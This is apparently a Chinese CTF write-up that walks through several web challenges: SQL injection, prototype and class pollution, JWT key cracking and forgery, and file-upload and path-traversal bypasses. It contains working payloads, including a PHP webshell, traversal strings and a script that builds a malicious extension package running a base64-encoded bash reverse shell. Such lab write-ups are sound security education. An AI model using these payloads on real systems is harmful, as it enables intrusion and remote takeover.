Broken Trust

admin 用户已被注册,随便注册一个 uid 登陆后显示 Administrator Tools 功能只有管理员能使用,但是能使用 Refresh Session Data 功能,在 /api/profile 路由下传递 session 和刚刚注册的 uid,session 是个 flask session,尝试 flask-unsign 爆破无果

img

想到的肯定是拿 admin 的 flask session 获得权限升级,但是事实上 /api/profile 实际上完成的是查询功能,且存在 sql 注入(艹,怎么刚开始乱注就拿到 uid 了…

img

用管理员 uid 重新登陆后就能使用 Refresh Session Data 功能,从响应来看是文件读取,尝试目录遍历但是 ../ 被 waf 了,双写绕过

img

ezpollute

javascript 原型链污染,merge()函数 ban 掉了 __proto__,一般用 constructor.prototype 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function merge(target, source, res) {
for (let key in source) {
if (key === '__proto__') {
if (res) {
res.send('get out!');
return;
}
continue;
}

if (source[key] instanceof Object && key in target) {
merge(target[key], source[key], res);
} else {
target[key] = source[key];
}
}
}

接下来就是找要污染的对象了,来看看回显数据的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
app.get('/api/status', (req, res) => {

//创建一个没有原型的新对象作为沙箱
const customEnv = Object.create(null);
//遍历进程中的环境变量
for (let key in process.env) {
//注意到NODE_OPTIONS
if (key === 'NODE_OPTIONS') {
//先对内容进行过滤再放入沙箱
const value = process.env[key] || "";

const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

if (!dangerousPattern.test(value)) {
customEnv[key] = value;
}
continue;
}
customEnv[key] = process.env[key];
}

//开启一个子进程来执行node代码eval命令,同时指定了环境变量
const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], {
env: customEnv,
shell: false
});

//收集这个子进程的标准输出和标准错误
let output = '';
proc.stdout.on('data', (data) => { output += data; });
proc.stderr.on('data', (data) => { output += data; });

//将输出内容以json格式返回
proc.on('close', (code) => {
res.json({
status: "checked",
info: output.trim() || "No output from system check."
});
});
});

NODE_OPTIONS 是一个环境变量,它的作用是允许你向 Node.js 进程传递命令行参数,而无需在每次执行 node 命令时手动输入这些参数

你可以把它理解为 Node.js 的“全局配置开关”。当你设置了这个环境变量后,当前终端会话(或系统)中启动的所有 Node.js 进程都会自动应用这些选项

目标就是污染 NODE_OPTIONS

两种方法读取 flag,第一种是使用 -r 参数使程序把 flag 当成 js 文件预加载

1
2
3
4
5
6
7
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}

第二种是通过 --experimental-loader 将 flag 当成加载文件,利用报错回显

1
2
3
4
5
6
7
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "--experimental-loader=/flag"
}
}
}

only real

dirsearch 扫一下,/flag.php 直接读

img

only_real_revenge

前端源码提供了账户密码 xmuser/123456

登陆后文件上传功能无法使用,请求中带有 jwt,四位字符爆破

1
hashcat -m 16500 -a 3 jwt.txt ?a?a?a?a

密钥为 cdef,伪造 jwt

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc0OTgyODIzfQ.mIYENd-v6qVbLzwD_Fzuf8mZXUJBg7bEmiWsfEfJJLI

文件上传要求格式为 png/jpg,但是只在前端进行文件名后缀校验,上传 png 图片马再抓包改 php 后缀即可

后端有一些 waf,这里上传的马为 <?=$_GET[0]($_GET[1])?>

img

ez_python

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import Flask, request
import json

app = Flask(__name__)

# 经典的merge函数
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Config:
def __init__(self):
self.filename = "app.py"

class Polaris:
def __init__(self):
self.config = Config()

instance = Polaris()

# 将request内容通过merge()合并到instance上
@app.route('/', methods=['GET', 'POST'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "Welcome to Polaris CTF"

# 文件读取
@app.route('/read')
def read():
return open(instance.config.filename).read()

@app.route('/src')
def src():
return open(__file__).read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

污染 instance.confing.filename 为目标文件路径再到 /read 路由下读取

1
{"config":{"filename":"/flag"}}

记得修改请求头 Content-Type: application/json

AutoPypy

对沙箱进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def run_sandbox(script_name):
print("Launching sandbox...")
cmd = [
# 调用一个用户空间的工具
'proot',
# 设置伪根目录
'-r', './jail_root',
# 绑定挂载,将宿主机的系统目录“映射”到沙箱内部
'-b', '/bin',
'-b', '/usr',
'-b', '/lib',
'-b', '/lib64',
'-b', '/etc/alternatives',
'-b', '/dev/null',
'-b', '/dev/zero',
'-b', '/dev/urandom',
# 将用户指定的文件挂载到沙箱内的特定位置
'-b', f'{script_name}:/app/run.py',
# 设置工作目录
'-w', '/app',
# 在沙箱中运行目标py文件
'python3', 'run.py'
]
# 执行终端命令
subprocess.call(cmd)
print("ok")

由于设置了伪根目录,无法直接查看 /flag 内容

再看看文件上传部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return 'No file part', 400

# 上传的文件名直接拼接到当前目录且没有对../进行过滤
file = request.files['file']
filename = request.form.get('filename') or file.filename

save_path = os.path.join(UPLOAD_FOLDER, filename)

save_dir = os.path.dirname(save_path)
if not os.path.exists(save_dir):
try:
os.makedirs(save_dir)
except OSError:
pass

try:
file.save(save_path)
return f'成功上传至: {save_path}'
except Exception as e:
return f'上传失败: {str(e)}', 500

思路是覆盖 sitecustomize.py,可以理解为 Python 解释器在正式开始工作前的出厂预设脚本

在初始化环境时,site 模块会自动寻找并执行 sitecustomize.py,并且工作在主程序运行之前就已经完成,也就是说覆盖 sitecustomize.py 中的代码会在沙箱启动前执行

首先要获取 sitecustomize.py 的文件路径

1
2
3
import sys
print(sys.path)
# ['/app', '/usr/local/lib/python310.zip', '/usr/local/lib/python3.10', '/usr/local/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/site-packages']

文件读取,将路径设置为

../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py

img

img

DXT

题目提示打简单的 mcp_server,要求上传 dxt 文件,结构跟 zip 一样

xNftrOne 师傅的脚本优化了一下,无回显打反弹 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import base64
import json
import zipfile
from pathlib import Path

OUT_DIR = Path("evil_dxt")
OUT_DIR.mkdir(exist_ok=True)

# --- 配置区域 ---
LHOST = " "
LPORT = " "
# ----------------

# 构造反弹 Shell 命令并进行 Base64 编码
# 这是一个经典的 bash 反弹载荷
raw_shell_cmd = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
b64_shell_cmd = base64.b64encode(raw_shell_cmd.encode()).decode()

# 最终执行的指令:先解码再交给 bash 执行
final_cmd = f"echo {b64_shell_cmd}|base64 -d|bash"

manifest = {
"dxt_version": "0.1",
"name": "evil",
"display_name": "evil",
"version": "1.0.0",
"description": "evil dxt",
"author": {
"name": "ctf",
"email": "ctf@example.com"
},
"server": {
"type": "node",
"entry_point": "dummy.txt",
"mcp_config": {
"command": "/bin/sh",
"args": [
"-c",
final_cmd
]
}
}
}

(OUT_DIR / "manifest.json").write_text(
json.dumps(manifest, ensure_ascii=False, indent=2),
encoding="utf-8"
)

(OUT_DIR / "dummy.txt").write_text("placeholder", encoding="utf-8")

zip_path = OUT_DIR / "evil.zip"
dxt_path = OUT_DIR / "evil.dxt"

with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf:
zf.write(OUT_DIR / "manifest.json", "manifest.json")
zf.write(OUT_DIR / "dummy.txt", "dummy.txt")

if dxt_path.exists():
dxt_path.unlink()

zip_path.rename(dxt_path)

print(f"built: {dxt_path}")

Not a Node

这题给了一个叫 BunEdge 的在线 JavaScript 运行平台,用户提交的代码会被部署成 Edge Function,题目的核心问题不是传统意义上的 JavaScript 沙箱逃逸,而是平台把未文档化的内部能力直接挂在了 __runtime

img

虽然前端提示“只暴露了安全 API”,但通过属性枚举可以发现隐藏对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
export default {
async fetch() {
const out = {};

let keys = [];
try {
keys = Object.getOwnPropertyNames(__runtime);
out.runtimeKeys = keys;
} catch (e) {
out.runtimeKeysError = e.message;
}

out.detail = {};
for (const k of keys) {
try {
const v = __runtime[k];
const item = { type: typeof v };

if (v && typeof v === "object") {
try {
item.keys = Object.getOwnPropertyNames(v);
} catch (e) {
item.keysError = e.message;
}
}

out.detail[k] = item;
} catch (e) {
out.detail[k] = { error: e.message };
}
}

return new Response(JSON.stringify(out, null, 2), {
headers: { "content-type": "application/json" }
});
}
}

输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
{
"runtimeKeys": [
"hash",
"strlen",
"platform",
"perf",
"encoding",
"_debug",
"_secrets",
"_internal"
],
"detail": {
"hash": {
"type": "function"
},
"strlen": {
"type": "function"
},
"platform": {
"type": "object",
"keys": [
"runtime",
"version",
"engine",
"region",
"nodeId"
]
},
"perf": {
"type": "object",
"keys": [
"now",
"measure"
]
},
"encoding": {
"type": "object",
"keys": [
"base64Encode",
"base64Decode",
"hexEncode",
"hexDecode"
]
},
"_debug": {
"type": "object",
"keys": [
"enabled",
"trace",
"dump",
"inspect"
]
},
"_secrets": {
"type": "object",
"keys": [
"get",
"list"
]
},
"_internal": {
"type": "object",
"keys": [
"debug",
"lib"
]
}
}
}

发现 __runtime 下面有这样一条路径,_internal 是运行时的内部结构,而继续往 symbols 里看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
export default {
async fetch() {
const out = {};

let keys = [];
try {
keys = Object.getOwnPropertyNames(__runtime._internal.lib.symbols);
out.runtimeKeys = keys;
} catch (e) {
out.runtimeKeysError = e.message;
}

out.detail = {};
for (const k of keys) {
try {
const v = __runtime[k];
const item = { type: typeof v };

if (v && typeof v === "object") {
try {
item.keys = Object.getOwnPropertyNames(v);
} catch (e) {
item.keysError = e.message;
}
}

out.detail[k] = item;
} catch (e) {
out.detail[k] = { error: e.message };
}
}

return new Response(JSON.stringify(out, null, 2), {
headers: { "content-type": "application/json" }
});
}
}

回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"runtimeKeys": [
"_0x72656164",
"_0x6c697374"
],
"detail": {
"_0x72656164": {
"type": "undefined"
},
"_0x6c697374": {
"type": "undefined"
}
}
}

发现名字很奇怪的成员 _0x72656164_0x6c697374,虽然这个名字表面上像是混淆,实际上把它按十六进制转成 ASCII 就很清楚了,页面里的 encoding.hexEncode 函数也有提示,对应的是 read 和 list,也就是说平台把一个底层的原生文件读取和目录列能力挂在了这个位置上

尝试利用 _0x72656164 读取/flag

1
2
3
4
5
6
7
export default {
async fetch(request) {
return new Response(
__runtime._internal.lib.symbols._0x72656164('/flag')
);
}
}

发生了报错:

错误:参数“path”必须是字符串、Uint8Array 或不带空字节的 URL。收到的是“/app/\u0000\u0000\u0000\u0000\u0000”

一方面发现是目录拼接,另一方面存在一个字符编码问题,TextEncoder().encode() 是 JavaScript 中用于将字符串转换为 UTF-8 编码的二进制数据(Uint8Array) 的标准方法

1
2
3
4
5
6
7
export default {
async fetch(request) {
return new Response(
__runtime._internal.lib.symbols._0x72656164(new TextEncoder().encode("/flag"))
);
}
}

polaris oa

醉里挑灯看剑

没打过 TS,看 wp 跟着走一遍吧(我打个 GO 都费劲…

/api/release/claim 路由下获取 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
if (req.method === 'POST' && pathname === '/api/release/claim') {
const claims = requireSession(req);
const effectiveCap = await getEffectiveCapability(claims.sid);
assertReleaseCapability(effectiveCap);

if (claims.role !== 'guest') {
throw new Error('release claim requires guest-origin session');
}

const body = await collectJsonBody(req);
if (!body || typeof body !== 'object') {
throw new Error('claim body must be object');
}

const payload = body as Record<string, unknown>;
const nonce = typeof payload.nonce === 'string' ? payload.nonce.trim() : '';
const proof = typeof payload.proof === 'string' ? payload.proof.trim() : '';

if (!/^[a-f0-9]{24}$/i.test(nonce)) {
throw new Error('invalid challenge nonce');
}

if (!/^[a-f0-9]{40}$/i.test(proof)) {
throw new Error('invalid release proof format');
}

const expected = computeReleaseProof(claims.sid, nonce);
if (proof.toLowerCase() !== expected) {
throw new Error('release proof mismatch');
}

await consumeReleaseChallenge(claims.sid, nonce);

sendJson(res, 200, {
ok: true,
sid: claims.sid,
flag: FLAG_VALUE
});
return;
}

提供的载荷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
export default {
async fetch(request) {
const url = new URL(request.url);

// Welcome to BunEdge!
return new Response(JSON.stringify({
message: "Hello from the Edge!",
path: url.pathname,
platform: __runtime.platform,
}, null, 2), {
headers: { "Content-Type": "application/json" }
});
}
}